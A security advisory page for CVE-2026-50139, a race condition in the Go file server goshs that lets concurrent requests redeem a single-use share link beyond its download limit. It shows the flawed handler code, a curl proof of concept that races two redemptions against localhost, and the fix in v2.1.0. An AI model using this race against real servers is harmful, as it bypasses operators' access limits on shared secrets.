Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2026-50139 — goshs

MEDIUM

CVE-2026-50139 is a medium-severity (CVSS 5.9) CWE-362 vulnerability in goshs.de/goshs/v2. A fix is available for goshs.de/goshs/v2 — see the affected versions and patch details below.

goshs: Share-link ?token=… redemption races past download limit

Also known asGHSA-j48m-h7xq-2xpjGO-2026-5881
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs16th percentile — riskier than 16% of all scored CVEsHighest risk
0.00%0.25%0.50%0.76%0.2%0.3%0.3%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-50139 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 395,249 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹goshs.de/goshs/v2

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Share-link ?token=… redemption races past download limit

Ecosystem: Go Package: goshs.de/goshs/v2 (github.com/patrickhener/goshs) Affected: <= v2.0.9 (every release that shipped the share-link feature)

Summary

ShareHandler reads the share token's DownloadLimit under RLock, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same Downloaded/DownloadLimit snapshot, all pass the check, and all are served — exceeding the operator's intended cap.

Details

httpserver/handler.go:968-1018:

fs.sharedLinksMu.RLock()
entry, ok := fs.SharedLinks[token]
fs.sharedLinksMu.RUnlock()                       // <-- released here

if entry.DownloadLimit > 0 || entry.DownloadLimit == -1 {
    // ...serve file...                          // <-- whole transfer happens unlocked
}

fs.sharedLinksMu.Lock()                          // <-- re-acquired only now
current.Downloaded++
if current.Downloaded >= current.DownloadLimit { delete(fs.SharedLinks, token) }
fs.sharedLinksMu.Unlock()

Between line 978 (RUnlock) and line 1008 (Lock), any number of goroutines can interleave and each observes the same pre-increment limit.

Proof of concept

goshs -p 18000 -d /tmp/r -b admin:pw &
echo data > /tmp/r/f.txt

# operator issues a one-shot share
SHARE=$(curl -su admin:pw "http://localhost:18000/f.txt?share&limit=1")
TK=$(echo "$SHARE" | sed -n 's/.*token=\([^"]*\)".*/\1/p')

# attacker races two redemptions
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
curl -so /dev/null -w "%{http_code}\n" "http://localhost:18000/?token=$TK" & \
wait
# observed: 200 / 200 (both succeed) -> limit=1 redeemed twice

Reproduced 5/5 times in a row on a 2026-era M-series Mac during verification.

Impact

A "single-use" share intended to deliver a one-shot secret can be redeemed N times by N concurrent clients. Combined with any token-leak vector (mail forwarding, browser history, intercepted link, etc.) this multiplies the exfiltration window.

Suggested fix

Reserve under the write lock before serving — refund only if the serve fails:

fs.sharedLinksMu.Lock()
entry, ok := fs.SharedLinks[token]
if !ok || time.Now().After(entry.Expires) ||
   (entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit) {
    fs.sharedLinksMu.Unlock(); http.NotFound(w, r); return
}
entry.Downloaded++
if entry.DownloadLimit != -1 && entry.Downloaded >= entry.DownloadLimit {
    delete(fs.SharedLinks, token)
} else {
    fs.SharedLinks[token] = entry
}
fs.sharedLinksMu.Unlock()
// ...serve...

Add a regression test that races two requests against a limit=1 token and asserts exactly one 200.

Reporter: Nishant Verma. Reproduced against goshs v2.0.9 (commit 8fc1e91) on 2026-05-27.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogoshs.de/goshs/v2all versions2.1.0go get goshs.de/goshs/v2@v2.1.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for goshs.de/goshs/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update goshs.de/goshs/v2 to 2.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-50139 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

# Share-link `?token=…` redemption races past download limit **Ecosystem:** Go **Package:** `goshs.de/goshs/v2` (`github.com/patrickhener/goshs`) **Affected:** `<= v2.0.9` (every release that shipped the share-link feature) ## Summary `ShareHandler` reads the share token's `DownloadLimit` under `RLock`, releases the lock, serves the file, then re-acquires the lock to increment the counter. Concurrent requests all read the same `Downloaded`/`DownloadLimit` snapshot, all pass the check, and all are served — exceeding the operator's intended cap. ## Details [`httpserver/handler.go:968-1018`]
O3 Security · Impact-Aware SCA

Is CVE-2026-50139 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-50139: goshs — Fixed in 2.1.0